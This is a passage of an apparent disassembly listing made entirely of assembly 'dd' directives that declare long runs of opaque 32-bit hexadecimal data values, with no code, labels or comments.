		dd 0F3C03CEAh, 7BF4E5F7h, 0F0C4917Ch, 92221DDDh, 39256430h
		dd 4C528567h, 256C4880h, 0BD14FC77h, 0B820276Eh, 5B3F8C3Fh
		dd 0BE1201EDh, 31F378CCh, 383595D9h, 8421FAE8h,	0F1299121h
		dd 0E9951829h, 0E5E270h, 0AE4612CBh, 169F6D02h,	80804C99h
		dd 8B6BBDB1h, 1C21016Eh, 92BF3FADh, 0BAB7E83Eh,	16AA2639h
		dd 106F2585h, 543BC5Eh,	0F92C7EF3h, 2909C709h, 0E45C4560h
		dd 0E56960DCh, 188B121Eh, 0F75C08CFh, 0AA6B902h, 679C8036h
		dd 347EC10Eh, 8EB84F02h, 0C0DF8888h, 8FE55428h,	0B1D7C931h
		dd 0C050FA0Fh, 0FAAF4BEh, 34629477h, 0C83C8B13h, 0FC2CC026h
		dd 0D2289972h, 0F620FC9Dh, 0C8863D57h, 15E43505h, 16D44004h
		dd 583B8D9Bh, 93028D98h, 2E2A94B1h, 66406137h, 126D1020h
		dd 532C65C2h, 88988E18h, 8C82C0D0h, 5D015147h, 0CE9D267Eh
		dd 15DDAAF0h, 29E2E463h, 4EA8A30h, 93BE2770h, 0E00780AEh
		dd 28918DDCh, 1918DF79h, 0CC99100h, 8306BF26h, 7D48C8D6h
		dd 62CB66C0h, 2C714E6Fh, 0CBF6A780h, 9923C400h,	86629756h
		dd 68A4A00Fh, 0E53E2D89h, 679478AAh, 804F0755h,	7AF71982h
		dd 0C31CCB73h, 0FE005ED4h, 0E70DC073h, 6F8A5E09h, 0BBCA100Ch
		dd 84D6C688h, 29675E20h, 0B02C660Ch, 0E6B5BAA3h, 43B658C1h
		dd 427CD72Ch, 9D0035F6h, 152D85ACh, 0C01025C0h,	0FA6A9800h
		dd 459355DDh, 0F633861Fh, 673BF583h, 62F80B9Eh,	902FBDBAh
		dd 0C04E20Bh, 2A4E02h, 5DC2B832h, 0B14EAA7h, 803425E9h
		dd 6F678868h, 0B56E390Ah, 780E8E3h, 0A0889583h,	66A7012Ah
		dd 94D078ADh, 0E8043C8Dh, 0B3E08C32h, 0E3379302h, 906313AAh
		dd 697349Ch, 0D1A2E6C1h, 0AD7AC020h, 0BC702CF9h, 4008C22h
		dd 34ECD24Ch, 76DD30Dh,	0BE83613Bh, 200F994Ah, 0C809A224h
		dd 46FA9670h, 0E105327Ch, 2910D0CCh, 0DADBCAC1h, 2BA24033h
		dd 4967930h, 725BF282h,	8300F038h, 3497C308h, 870A808Ah
		dd 51BD7424h, 705BBCAAh, 0DAF50172h, 40A45B46h,	101DAD70h
		dd 0B5802C11h, 0E1F7A60Fh, 3007BD22h, 6B711425h, 6E7877EEh
		dd 0ECEA7A09h, 939E81A6h, 0A03AC3F2h, 0D49CDD15h, 294676h
		dd 0B26284B9h, 0B9C97B52h, 183CD998h, 0B0CC09E8h, 0A8B7EEF0h
		dd 0C1D65080h, 3FBE573h, 4243B62Ch, 30AA4A95h, 1807E489h
		dd 1D0348EEh, 59A4BAE1h, 2B20FC41h, 603F8A29h, 60193071h
		dd 0A90F13EDh, 82D406B9h, 400BE1A2h, 76DBA54h, 0B4F5C486h
		dd 9407619Ch, 0D4D425ECh, 7C1C936Fh, 134019BBh,	0AA7267B7h
		dd 4030B06Eh, 0A618D7F0h, 0FA04042h, 4099DD20h,	0A22C9B3Ah
		dd 830002EFh, 96B7B148h, 2CF8E8AAh, 66CFB99h, 3039C90Fh
		dd 0B10D1530h, 79029D69h, 0E6222670h, 9900DE84h, 19323A12h
		dd 402EB93Eh, 0EF60B2EEh, 8D9D1CD9h, 0D4FD1CF7h, 307EFE98h
		dd 73D027A5h, 760F5A91h, 29E62884h, 0A852A9h, 0BBD879AAh
		dd 0AEAD97A6h, 3D4CC379h, 7BC6DC34h, 0F8C961B6h, 0AA2A1495h
		dd 406F00Eh, 48C2CE80h,	465EA0BEh, 0A6040E29h, 9DAF678Dh
		dd 0C0912F67h, 5465F22Ah, 27A26823h, 0F29ECF30h, 0ADBF03EDh
		dd 3A5B133Bh, 0DAC42102h, 8265A143h, 25576EF0h,	50D4415Ch
		dd 86EDC6A9h, 3B6513D0h, 89C80C39h, 8A18EC7Ah, 0A93EE70Ch
		dd 3CB8115Eh, 0DE104877h, 41E240E5h, 1840AD66h,	0D4C00759h
		dd 0AAF53610h, 783B19C4h, 1630423Ah, 0C700CC44h, 0D72A5141h
		dd 1122B10h, 0DE69FCCDh, 0C852BF81h, 261F97A3h,	9C419F60h
		dd 291622FEh, 0ACBACE4h, 1C873405h, 9139FB0h, 0ED816204h
		dd 64FA69C2h, 9450EA74h, 900EE0ECh, 0E5EEC3C4h,	1C1F256Eh
		dd 81C8FF42h, 44E0D21Ah, 0A400D0DAh, 0B08BAF2Bh, 1C8418CAh
		dd 40B88D9Bh, 653AD5E8h, 9A010AFDh, 0EA13411Ch,	532AB0E0h
		dd 6A2804B0h, 940F0568h, 0D19AAC31h, 0FA808105h, 8E34013Ah
		dd 1F0BAC69h, 70633233h, 3E07003h, 22BA8BC7h, 54885229h
		dd 120293ACh, 0E1B0499Bh, 0C018E8D6h, 3C9D4C87h, 48330210h
		dd 70A22DCh, 6C3A38ADh,	0A26F35FBh, 68252518h, 165B2F8h
		dd 0ADBDD535h, 80EAFB1Dh, 9C9584ACh, 68ADBB8h, 0B29B6238h
		dd 630D89E7h, 488026CAh, 33BC3C2Ch, 0DEA4248Ch,	3EF800AFh
		dd 0F5C8EE5Eh, 680C58B0h, 0D8D06AA9h, 8E4A17C3h, 85844165h
		dd 0A05A5296h, 3A0AF0E1h, 0B80F113Fh, 70E6A98Fh, 1069F05h
		dd 851C9BA3h, 44817090h, 0D720DBBEh, 4A63EE30h,	0C8248BF0h
		dd 9201C02Ah, 0F486BAAh, 20EB8FD4h, 70687C2Ah, 0BE27289Ah
		dd 6C3101D0h, 0C024F76Dh, 0F312D123h, 89B70DB8h, 0F0DF68FCh
		dd 404360C0h, 580FEAC8h, 0E07A730h, 46C65139h, 0CD00612Eh
		dd 1DD06F78h, 0B87A91h,	7984CE38h, 0D7A0FB39h, 0A82F5E4Eh
		dd 21003623h, 0D75AC3A3h, 4A502DEh, 0C69E83A1h,	6F09C450h
		dd 1F18DC2h, 0E7923908h, 6C239C7Dh, 77F09101h, 9C337395h
		dd 0F0895B80h, 793EAF1Ah, 6CC605C4h, 0D0D5A5AAh, 30C834CBh
		dd 7C30BCC7h, 407097Eh,	71B26CD5h, 0B2C4F32Ah, 0AA423035h
		dd 0F65ADE00h, 63110C0h, 409E7884h, 0C8719426h,	3037DFE6h
		dd 958E08CDh, 651965D8h, 8FDE08DBh, 6580B138h, 28674C21h
		dd 5C599900h, 64E0835Dh, 137934C2h, 589081D8h, 9D60A58Dh
		dd 8338119Ch, 0F0629073h, 14312109h, 58C5EA80h,	0D0C25C77h
		dd 706ED713h, 1698524h,	87EECA3Ah, 0AF836ABCh, 0E3202C40h
		dd 1FFF0F7Ah, 92A176DCh, 64361262h, 0B0B12CB4h,	8D1828D1h
		dd 0C4804F2Eh, 1E71E08h, 57B9E11Ah, 0CC810416h,	65002AC6h
		dd 48B409C2h, 10900D14h, 152D0EBCh, 10D470A7h, 5E2CEABDh
		dd 3EE90400h, 77CD28BBh, 4232189Fh, 730B00Dh, 39B59812h
		dd 0B8A060E7h, 4301976Dh, 893699FDh, 3A02EE9Eh,	0DD112897h
		dd 6F55E380h, 0B228A4F9h, 323FB02Fh, 69BC02Ah, 0BFE0E286h
		dd 0AC16E90Bh, 0BDE11E97h, 2CD52C20h, 8382F15h,	9A02E753h
		dd 0E283EA18h, 0B52868FFh, 141928C2h, 991B16A0h, 0C5F44F4Eh
		dd 18167186h, 6610BA15h, 9BE4008Ch, 6DB6E697h, 866C267Ah
		dd 0B71001F0h, 3A359A9Dh, 909BE820h, 47FA00ABh,	0E5ED5467h
		dd 4D045D12h, 87608A88h, 0A58D60A0h, 60D3E48Ch,	0F2213242h
		dd 9DC0FC6h, 56B68BF0h,	8F14090Ch, 6738C068h, 0C90084E0h
		dd 63A2959Ch, 28D4F44h,	76ACB807h, 0C7B583h, 77602144h
		dd 0BCEE3FB6h, 12F0040Ch, 88197834h, 0E25A5317h, 0B0043001h
		dd 9C2CEFBEh, 0B8C2BECh, 9A5C0871h, 53929402h, 0C880F05h
		dd 0F97F016Fh, 0C85BFDD3h, 5E96F84Bh, 73C19901h, 84286319h
		dd 64DC0DE4h, 4031383Fh, 940E3934h, 0A4FD0204h,	88ADEE09h
		dd 3CF790C0h, 6E84CC02h, 4A3EF0B5h, 71147988h, 24E618D3h
		dd 3F16B998h, 4EF66180h
		dd 0FAA93054h, 971D8C92h, 28971F5Ah, 21E49440h,	0B61BCE0Fh
		dd 74FCA85Ch, 11258038h, 0C70F81C0h, 5A4D24h, 63B467Bh
		dd 0BAAB49DDh, 2CCA6C13h, 30B63085h, 0B96118E0h, 81C89905h
		dd 0DC3EE59Ah, 69002823h, 0CB63F14h, 46622595h,	1BC0B4E0h
		dd 44AF8C4h, 27EC58ECh,	7738Ch,	2C16457Fh, 399995ADh, 0EE208C98h
		dd 9D56052Bh, 40D6B2AAh, 0C5E542A4h, 7E00E8F8h,	2B2C4347h
		dd 29EFEB0h, 1601B54h, 14D22267h, 0B221D400h, 0D2E6F36Ch
		dd 2AE1F475h, 99408BFh,	6D87637Ch, 40EDDC04h, 95A5A688h
		dd 0BD6C04C1h, 0C07D5430h, 73781F48h, 34CCA826h, 8A000A10h
		dd 9004E3E0h, 2C4B38BDh, 2988A08Eh, 0B8782DC3h,	25BED95Eh
		dd 706815B0h, 0D14D1CD7h, 6DF10488h, 70A59D07h,	0DF544BDEh
		dd 0F4819384h, 0E44848C9h, 29EE60B5h, 6C71C6F0h, 0FAD7E62Ch
		dd 1765A53Bh, 0CB3E9188h, 0F43843D5h, 13CFC48Ch, 4724D1CAh
		dd 5BE16BB0h, 0AC4058CAh, 70C6F94h, 8659A0Dh, 70570029h
		dd 0A9C85462h, 4C90DF8Ah, 0AAF0DE1Eh, 44E71313h, 593830A7h
		dd 0D80B7A46h, 202A5294h, 0BEA95688h, 3D68C9E2h, 5B7094DBh
		dd 4BDB095Dh, 4CC46113h, 0DD1EA910h, 1402D048h,	0BA195B5Eh
		dd 6899E4C4h, 30D1B821h, 51006C18h, 7F8E6A7Eh, 4AA26EC4h
		dd 22D08129h, 77C1802Eh, 6BB27857h, 0D20700CDh,	0CBC80BA6h
		dd 0BC9C5810h, 1502AE40h, 4D14BA59h, 3D065417h,	0E9D19607h
		dd 0FDC26D16h, 0F025C8C1h, 0E1B5618Dh, 7C40C621h, 0D47C7EB0h
		dd 0C6B42700h, 5A61622Dh, 98E0F27Ah, 0D75607E4h, 40B3CD3Eh
		dd 0E22D4E4Dh, 463D3Ah,	0B28B65E5h, 2F8ADBh, 1A6DA9B7h
		dd 0AE3DD716h, 0FEE72D01h, 79B42A22h, 7DE41CE4h, 9C1F0399h
		dd 6B1625B0h, 942722D0h, 21CC29CDh, 559C1801h, 0E4D498Eh
		dd 1166580h, 2809F949h,	8127970Dh, 0F14CD4CCh, 3094C842h
		dd 65162562h, 0B88B5785h, 256A4A00h, 78F04EA7h,	0D62B7B2Fh
		dd 9D013BE0h, 0A4542A18h, 0D440DA6Bh, 0E92EB7F5h, 0BC0E83Ah
		dd 8A4C5B13h, 465EAC76h, 3A2D0126h, 0AAD23C4Ch,	0F94B1FC4h
		dd 0B1A0423Bh, 3D05DFDAh, 232DE404h, 899E8B04h,	8E9430D4h
		dd 9049C65Bh, 0B55C849Dh, 880CCB34h, 4911C027h,	9E13AFB2h
		dd 8DE0E934h, 3E4F011Dh, 15AAF138h, 80888B1Fh, 0F46802FFh
		dd 98070278h, 6884FC89h, 80F0FC84h, 4563B255h, 9D1E3881h
		dd 0CF3DADBDh, 0BB30E926h, 10801926h, 0BCE6030Dh, 9434846Bh
		dd 56F8F8C9h, 9E81273Eh, 882AD024h, 34A01678h, 0D838194Ah
		dd 0A85DB1D5h, 87052B8Dh, 0A48144Ch, 0AC81586Dh, 0A3840C9Dh
		dd 0E3067860h, 3EFFBE00h, 60641D02h, 59F95995h,	1827F168h
		dd 3FA0018h, 0C3088E71h, 3B446C10h, 634BB48h, 8063964Ah
		dd 0D1061530h, 1C07029Bh, 40D294E5h, 0D111B861h, 55275369h
		dd 0D6BC8299h, 0BACD013Ah, 0AD6064A1h, 0FF65630Bh, 70C0730Eh
		dd 0E4A4B551h, 9E28BE00h, 1244C1BAh, 0F8320040h, 145CB8FAh
		dd 6F0E0762h, 0D6C96A6Dh, 809E130Dh, 63086E2Eh,	0EAA2B561h
		dd 99DCA321h, 0CF89093Fh, 0BC7979BAh, 80290C08h, 972FE50h
		dd 8F047FCDh, 714E548Bh, 0EFDCDCC0h, 88725Dh, 939BDDF8h
		dd 0D7643F30h, 94A08648h, 24C917ACh, 0A2F0509Dh, 0B8879585h
		dd 0B2E1E1BCh, 0AAB19C08h, 85349684h, 87895CA8h, 9D293860h
		dd 3EE88B0h, 56627316h,	8AE004B6h, 921682A6h, 0E084662Ah
		dd 802CACD5h, 0AE8139B6h, 311318E0h, 0A67ED604h, 97C40BB5h
		dd 80DF918Ch, 93142AAh,	48440671h, 60B40289h, 1364C239h
		dd 0F8882A85h, 748586A4h, 32603844h, 0A47F60E5h, 0EDCA704h
		dd 0D8A9BBE1h, 0F49C0713h, 81F70F98h, 76EFF639h, 0B06EDAD1h
		dd 0E21D4689h, 0BC4953E7h, 7A208439h, 767E608Ch, 34BE0040h
		dd 4474C2A7h, 943CD4FAh, 0C66B8A92h, 465C5C49h,	64220025h
		dd 344CE651h, 1DCB181h,	2CBE863Ah, 0CC82FA30h, 0C70FCA32h
		dd 0D90CB0E1h, 0F99A00AAh, 634E9350h, 0F1F4A6DBh, 7B20CA09h
		dd 0D1C471C9h, 9A91831h, 8A4BF2C2h, 0E5E6EC64h,	0E064C182h
		dd 0BC7C44D1h, 33C76B80h, 0D2723245h, 59EFA00h,	0F4EC8956h
		dd 8F880582h, 34F0EEFBh, 0A8B8A94Ch, 3E06020Dh,	2F225210h
		dd 6680FC76h, 5979FFD4h, 0CC6A03D9h, 0C7DCA07Ah, 40BA69B8h
		dd 960EA51Eh, 51A4DC2h,	5AE84167h, 905355C8h, 486A20D4h
		dd 99C2E50Bh, 0BF8C132Eh, 0B0E2186Ch, 1D09448Ch, 3BB63312h
		dd 6681A447h, 65278CCAh, 6027E458h, 1131F80h, 0A3BB8E78h
		dd 3C1BCCB6h, 8627013Ch, 0DE5281FCh, 0F02960AFh, 27E42045h
		dd 0FC3AFA61h, 0F8073946h, 0E88C0C41h, 0A280B90h, 0DB48010Fh
		dd 0B9B6F0C0h, 34037ADEh, 869633F5h, 35CD2DE9h,	0D0607C4Dh
		dd 10B22E05h, 0BD8AA81h, 78266295h, 886D5C6Ch, 0EB6FF04h
		dd 0BC44E8F6h, 98138CD6h, 6CA0DB87h, 2908C0E3h,	3396B9F5h
		dd 0CD32752Dh, 0E2A4E20Ch, 0BAA614E0h, 54329780h, 4FB08886h
		dd 88A0CECAh, 0B5D2C7C8h, 0F8EF03BEh, 0C2D47BADh, 0C4B920h
		dd 45782E95h, 808EAD94h, 8BC02988h, 7A4B7Ch, 50135ACDh
		dd 52970234h, 2F0F3627h, 3F5B84C4h, 35D5C842h, 46745CF6h
		dd 84010026h, 5B17293Dh, 0CCA20097h, 4AC37711h,	70C03326h
		dd 5770B1C4h, 0AEB91620h, 0F198447Fh, 0F25CF2EEh, 7BC83032h
		dd 820511E2h, 27AABE83h, 42F990B4h, 0B75B1A1Ah,	0DC7C5C59h
		dd 0EE2B807h, 9CBA4A95h, 8F60845h, 863C8BE0h, 1CC5D800h
		dd 3A936C94h, 5E1112BDh, 6B98F163h, 97D2C6Eh, 8D34E3FEh
		dd 0BC072012h, 5C2478D2h, 6B051311h, 0B0F1B26Fh, 0B52D7780h
		dd 8C6089C6h, 1262F92Ah, 5819CE8Dh, 0EEEDB09Ch,	202E6EF5h
		dd 0B805D623h, 9CAC5EF0h, 0CE2167CFh, 204DD575h, 0B32DAED0h
		dd 0E050CD3Fh, 0B755E0FDh, 9DB12002h, 5C6713AAh, 86E1608Ch
		dd 3A06FFC8h, 12240184h, 1A6D0F61h, 0E0C3C0CAh,	94D05442h
		dd 17678034h, 0B903821h, 27DB92C9h, 18482259h, 6A74E92Ah
		dd 0FBC55D02h, 5925A1BFh, 26660018h, 0AA61FD11h, 0D7999C0Dh
		dd 2868D006h, 1D8CD0ECh, 80F53E52h, 0EA2E345Dh,	9B0B87B4h
		dd 0F99A7790h, 3E8307A4h, 0E6AD60D6h, 8871CE4Bh, 72728124h
		dd 2ED32900h, 59BBD8Ah,	0E93CBA8Dh, 0E3B61275h,	0E8B22F18h
		dd 42D5968h, 60A49A95h,	9678C137h, 61780238h, 742FFCD4h
		dd 0ACB4FC28h, 63048C29h, 31AA6F35h, 0B06088A1h, 0DA0788D6h
		dd 0E2254Ch, 214FE0D2h,	385E6D3h, 9A42AFF1h, 0C3F17822h
		dd 7C2D0Eh, 6709494Ah, 0B03859DCh, 86D70900h, 88B5B7Ah
		dd 8EC0E44Dh, 4CBE75h, 0A1EED2F8h, 839B13CAh, 0AAF0E106h
		dd 10B8F585h, 41E7C525h, 22F2194h, 1855CD94h, 1EC869B0h
		dd 40F9C54Eh, 589B8153h, 1700209Dh, 8CC11DB5h, 904A2C23h
		dd 21F520CCh, 0FC4D2E2Eh, 16DD2B06h, 0B3C50378h, 279F079Eh
		dd 29305967h, 88123E58h, 344302Fh, 0FA739365h, 0CCE0C902h
		dd 23D985D7h, 0E094C26Dh, 0DA0083FCh, 0DC9BC479h, 12011526h
		dd 0F0E53113h, 0F00BC854h, 5B62CF4h, 8091EA65h,	0D61652h
		dd 0F395FDC8h, 9E833CA8h, 80C1BE5Bh, 8809BA6Dh,	403A18h
		dd 130FFD65h, 8A020329h, 0A9C8E7DBh, 1D45EFEh, 8B341407h
		dd 10B4732Ah, 161561E2h, 0D211344Bh, 61B2083Ch,	0A188390Dh
		dd 1E8132C2h, 5C58130Ch, 6CC1424h, 5A3A9F19h, 309501Dh
		dd 2A729E82h, 58204814h, 63300DEAh, 34D87992h, 671909B4h
		dd 1C79B5ADh
		dd 7A0A99Fh, 0AFE387ACh, 89DCBA0h, 3289C911h, 1D319300h
		dd 3B4A9E53h, 0CF4AB845h, 68B68C16h, 29326BE0h,	81A74900h
		dd 6D95BB97h, 762094EEh, 20242246h, 63EC05C1h, 0B0EA85F7h
		dd 2D2EB0E8h, 0DB0168DEh, 0A30111EEh, 33B8382Ch, 9D77008Ch
		dd 32A4AD43h, 6816ED6Ch, 388B35CAh, 71C03E88h, 1B1335h
		dd 700F89D1h, 0BE2BF2E2h, 0C7B01E65h, 3C6F4C16h, 0B19A007Fh
		dd 8ED57CF9h, 0FD0BFFB4h, 68EDE4B3h, 9B35DE5Ch,	2143718Ch
		dd 106B2A20h, 756DFE00h, 19307CA2h, 0CEFF373Dh,	8EC1C481h
		dd 0A264642Fh, 303EB250h, 0EA07C421h, 2A61FEEFh, 0D0948FA2h
		dd 479530h, 3B602564h, 170565D0h, 66B9C8F7h, 0AC582CF8h
		dd 8C24E8h, 0C81957D5h,	407E945Eh, 0CD608EF4h, 0FF6D6A50h
		dd 0E5231B83h, 4AC708FEh, 9C19B2D8h, 2779D871h,	95006818h
		dd 81B2E913h, 2D32948Dh, 8C491986h, 64282FE1h, 2AE48797h
		dd 95142760h, 0E4AF1B78h, 40F06Bh, 63CE077Dh, 64132321h
		dd 0F424A4B1h, 3AE0C608h, 78046288h, 0C0D8CC00h, 948D3406h
		dd 6F25BA24h, 9CF41C90h, 0F02C9297h, 0E16B6B18h, 22F7C005h
		dd 70043E10h, 80A09B52h, 21A2E57Fh, 88D49C18h, 0E3E3EB2h
		dd 90258C34h, 505B151Fh, 459D2508h, 6030E418h, 1E1C03Fh
		dd 0AB8320A9h, 3C75CA6Eh, 0AEAC0010h, 8E2FBE1Eh, 66A4027Dh
		dd 2239069Ah, 0E08070DCh, 71281D3Ch, 0AB050064h, 65F7D116h
		dd 3400884Eh, 379CC29Fh, 525810C5h, 8112A8E8h, 6DA4F406h
		dd 3895CA2Eh, 4C04AD96h, 400B341Ah, 2898F28Eh, 0B001C9Dh
		dd 6DA04C8Ah, 18C4597h,	0DB95049Ah, 0C68D9F59h,	7A082474h
		dd 0F40C1231h, 23E80470h, 28B416E8h, 0AA05A087h, 296BB910h
		dd 8C83544Ch, 74860E97h, 0E7ABA11Dh, 0BA002CC4h, 43CCDA96h
		dd 0B17C3Eh, 0F52E2362h, 0C44EC0B7h, 0DD9ED704h, 0DCC8732Ch
		dd 96D4E33Ah, 0C47107C7h, 0A0F06681h, 0BCE162ADh, 78F024B7h
		dd 6402E8A3h, 3552A6D7h, 85CAFCCBh, 3D413056h, 0BFC481D4h
		dd 41ED6016h, 0A714B88Dh, 482CC12Eh, 0C87B280Bh, 5C3620D4h
		dd 4C49407Ch, 88CCCE5Ah, 6A44C025h, 495EC20Eh, 30F6A004h
		dd 0F7E00016h, 839EE59Fh, 0A8D7F9EEh, 0DC23483Ah, 148D8900h
		dd 176D5F4Dh, 42F45DA2h, 3F6696ACh, 0DAD97451h,	12261B18h
		dd 5B03ED4Eh, 0EA91040Fh, 7B88EA38h, 6CBB78D0h,	0CEF8EC3Dh
		dd 6F0FBC8Ch, 0E9A04937h, 0C6F9A1ABh, 0B414009h, 0B4E87025h
		dd 3E465E54h, 0BBBC781Fh, 0F3B01693h, 0B15F0050h, 0BC2B4F06h
		dd 0D02A4BC0h, 0B689C8BCh, 32B4809Dh, 0FA5B4927h, 6E393866h
		dd 1BE82109h, 81C0C4CDh, 0EBC8C23Ah, 48260CFCh,	0DCD050B9h
		dd 0B20F910h, 0D0926A7Ah, 2243EC88h, 99002F25h,	9BBDA74h
		dd 71A43Eh, 20F4EC22h, 4E6180B1h, 2578420Bh, 0AB104AADh
		dd 816437F0h, 0CA0BEF7h, 665C203Bh, 97F13E40h, 34ADB010h
		dd 4470C0BBh, 2EB3B042h, 38F5840h, 360EC917h, 0EF6DA100h
		dd 883C35CDh, 0BC9A099Eh, 0E09A96CFh, 0B089485Ch, 973C5A89h
		dd 54678C84h, 8C36E84Ch, 0B5647000h, 0E88A8F95h, 838D0916h
		dd 30DADE9Eh, 0E66D3844h, 3DD7122Eh, 0C838E24Eh, 94085871h
		dd 58280997h, 271D1848h, 2E98CA15h, 78741AFEh, 0C6620B25h
		dd 6A323338h, 2140F229h, 0CC646218h, 6E82B449h,	990D49Fh
		dd 0E4820CBBh, 9CC58DDBh, 1760D3E4h, 1C004420h,	1438899Ch
		dd 2C56C167h, 0A52476B9h, 6400A0E4h, 0D0DD214Eh, 0F5FB5Eh
		dd 0F40F7765h, 8005E841h, 0E9C06F09h, 42607160h, 74E70115h
		dd 87602CC4h, 0E21E0611h, 0C06DAA6Eh, 979CD688h, 652A48B9h
		dd 0D86E7E60h, 3EDB0177h, 153970FCh, 0E414253Bh, 1E005520h
		dd 96C3381Bh, 0DB5EC1h,	0AD472484h, 6C99054Dh, 90E9C224h
		dd 9CA37792h, 2A93B79h,	464AF041h, 3BD40B58h, 0C6ABA5BDh
		dd 386D976Ch, 0C922F5C0h, 4D8900BFh, 405C2D3h, 6CFA089Dh
		dd 0FC728701h, 3EE41D0Ch, 6F94BC40h, 1614F8ACh,	80D0732h
		dd 978001ACh, 35A3EEA2h, 0B69C0964h, 3C65F61Eh,	9E60DCE4h
		dd 1F12FAECh, 14F3F384h, 0E3F0C212h, 76AE0898h,	86E1532Eh
		dd 84183C82h, 0E21210D5h, 3333F2BCh, 42CE080h, 9D2E3A00h
		dd 88D4C827h, 8CB60B65h, 9CEFE7D7h, 0B6C88640h,	4C200B6Fh
		dd 208B76ECh, 4E4C8977h, 0C478A584h, 89756025h,	0A82805BBh
		dd 0B617C8B0h, 66C6E084h, 8541029Ch, 0FA7AB603h, 0D2E034EDh
		dd 7FBA4F14h, 94C4098Eh, 0C4706319h, 915C9DB5h,	1DEB803Eh
		dd 0B9222A99h, 0B0F3058Ch, 83CC083Bh, 11349769h, 13608126h
		dd 9882F829h, 4E81B684h, 0C21C805Fh, 25894086h,	70CECDFAh
		dd 0C0C04D95h, 1FCA3D21h, 85FB9502h, 948BE9Eh, 0C999882h
		dd 49409307h, 1DA840D0h, 0A5839B87h, 0C40E9064h, 618FBC8Ch
		dd 33EAFBC6h, 0F07E3FD9h, 1000E1FBh, 846A8820h,	623D759Eh
		dd 49C54094h, 3879C8F9h, 0A807F218h, 146E8234h,	1067F3A0h
		dd 502512B2h, 2C58F39Ah, 0DC248Ah, 0DC1F69B8h, 20E144B2h
		dd 152AFE74h, 900FC39h,	0E5691B28h, 18350268h, 0D0700E75h
		dd 309416BEh, 0B0049101h, 7068C512h, 8C3EECh, 9988146Ch
		dd 0AF17DA4Eh, 4488304Fh, 0ECF000F1h, 0D55DF6C4h, 800B315h
		dd 7CFBAF5Ah, 74139AAAh, 0CEDE0531h, 0D1F01DB2h, 2F653D78h
		dd 24684872h, 0E630824Eh, 97B02009h, 5CE89825h,	1625C830h
		dd 548A5CA1h, 0AF48C059h, 0F6FAA105h, 0D8D3A037h, 0B08DE8ABh
		dd 0BA7C125Ch, 4FD4E7FBh, 9187009Ah, 553730F3h,	0C408EFC0h
		dd 92F49C2h, 0F84A9407h, 0CECFBC81h, 0E4352E47h, 0CE064F6h
		dd 0C41486F1h, 9660FAE3h, 494AA804h, 255124A4h,	24B7C817h
		dd 0DA56E87h, 2058F306h, 0D080247Eh, 8812D19h, 1874AE02h
		dd 26467Ch, 0E37D7318h,	48838DF8h, 0A74E8896h, 446A024h
		dd 548A4C34h, 10329099h, 3DAC1735h, 9007C310h, 0D071DC3Eh
		dd 67772055h, 0FFBE8400h, 7FC78714h, 41654F13h,	3AD6CDB0h
		dd 0B2508C26h, 0F7B71E2h, 0D462791Eh, 0FE16D882h, 0F9E98780h
		dd 25B78634h, 0AF8597CCh, 0CF784490h, 23AE3296h, 8474E4E0h
		dd 0C03A40EFh, 11622Eh,	0C5D233BDh, 764D8FDh, 16F08307h
		dd 440CF4Dh, 0C0B2810Ah, 0ACFE6D49h, 1A971D97h,	11E89DF0h
		dd 0E9458321h, 3CAD0B4h, 52A3A5Fh, 0B1B68784h, 8558901Ah
		dd 0BD3EF3D2h, 97AD0036h, 1021F1A3h, 0E56D096Ah, 681735BAh
		dd 41802791h, 0E6D236E5h, 0D1205C00h, 644AC88Dh, 0E05653F1h
		dd 800D421Fh, 82D6E92Fh, 74FC6F8Ah, 0CCEC94EEh,	0C64592Eh
		dd 0C40A2406h, 89C80A88h, 4088DCA6h, 0B82EA94Eh, 0BA88A4BEh
		dd 1F9C2065h, 27259FC0h, 4AC0B0CDh, 4B7A2B15h, 864CC805h
		dd 2878D802h, 70736E94h, 5EB09614h, 0D20F3C46h,	25DE8921h
		dd 1D7080F3h, 0E7F20961h, 507C55BAh, 0D1AC59A7h, 0C918D3h
		dd 6C3BD4A5h, 4BC19778h, 0EEB4AA50h, 91B2E740h,	696B00C8h
		dd 31D2A75h, 0E1DDCC00h, 0CB0D3AF4h, 0AF13000Eh, 0C95F3C92h
		dd 724B066Dh, 319D54CCh, 14991525h, 0CECBE1EAh,	10B7A760h
		dd 0B9B28702h, 0F42C3943h, 880BDE70h, 26A6662h,	2F0288h
		dd 891DEEF1h, 0E72BE225h, 0FC961064h, 0FE008C21h, 2D3B886Dh
		dd 125C4089h, 0AC83343Dh, 0A0E3C744h, 17187489h, 1B77026Bh
		dd 0CC7483D7h, 64200C17h, 0B12C99h, 2BF09734h, 24E1A8D2h
		dd 193D7979h, 69420F02h, 0C0C44F1Dh, 81C26D64h,	88B89F17h
		dd 1120A26Fh, 9AB6E625h
		dd 0CC90BF6Ch, 0D91FBE93h, 28E69F12h, 3244676h,	3CA3882Ah
		dd 4E149806h, 0CB3E24B9h, 80B72F14h, 6D948901h,	8D2B7B6Bh
		dd 88C80ED4h, 1A9C322h,	9A631BC0h, 0BF11EE02h, 202C258Bh
		dd 742B7B80h, 46772600h, 0F8F824Fh, 147F0708h, 0F0727D04h
		dd 6EE1836Dh, 38773972h, 79A11825h, 8599840Ch, 3CF4CCF6h
		dd 0FA27A688h, 543E8C9h, 0D9BAF130h, 9A18D10Eh,	0F60C12DFh
		dd 0C3FA8E9Ch, 9C5CCC60h, 65022852h, 34D73922h,	4158D487h
		dd 20AD048Ah, 0CBECF524h, 0D79E9502h, 5F2F5286h, 4AC05490h
		dd 6060B625h, 861D62E8h, 0F0342740h, 0BA812E6Bh, 8D068024h
		dd 8EF84E9Bh, 7CC3164Fh, 397D07h, 14A5C8D4h, 9C34EB1Fh
		dd 0A26CD304h, 66EF20CDh, 180B98FCh, 22694D4h, 0E16628h
		dd 2B23297h, 0D4AC90D2h, 0A1A26D09h, 0E8902870h, 0D5051477h
		dd 251FE939h, 0EA402807h, 0E8912C1h, 0C0BC9448h, 3D3A394Eh
		dd 0EE04987Fh, 781F9EEFh, 3E8EF481h, 85F5CD00h,	23FEAE10h
		dd 412D0C18h, 17743B0Dh, 79309C00h, 0A7CEEBC8h,	8B923B06h
		dd 8D9BA180h, 77840AECh, 516970Bh, 95E41024h, 916E4B4Ah
		dd 3E8681CCh, 279F5802h, 0E5EC843Ch, 8B4E3540h,	9B0CE7DBh
		dd 5893C997h, 0A4C725B8h, 3F44087Ah, 0D0924B07h, 0A5AAEF1Ch
		dd 60251C40h, 53F77950h, 0B98839BEh, 0C2D04032h, 0C092644Bh
		dd 4C302B45h, 72702A95h, 0A0E1B080h, 2E87C01Ch,	61608234h
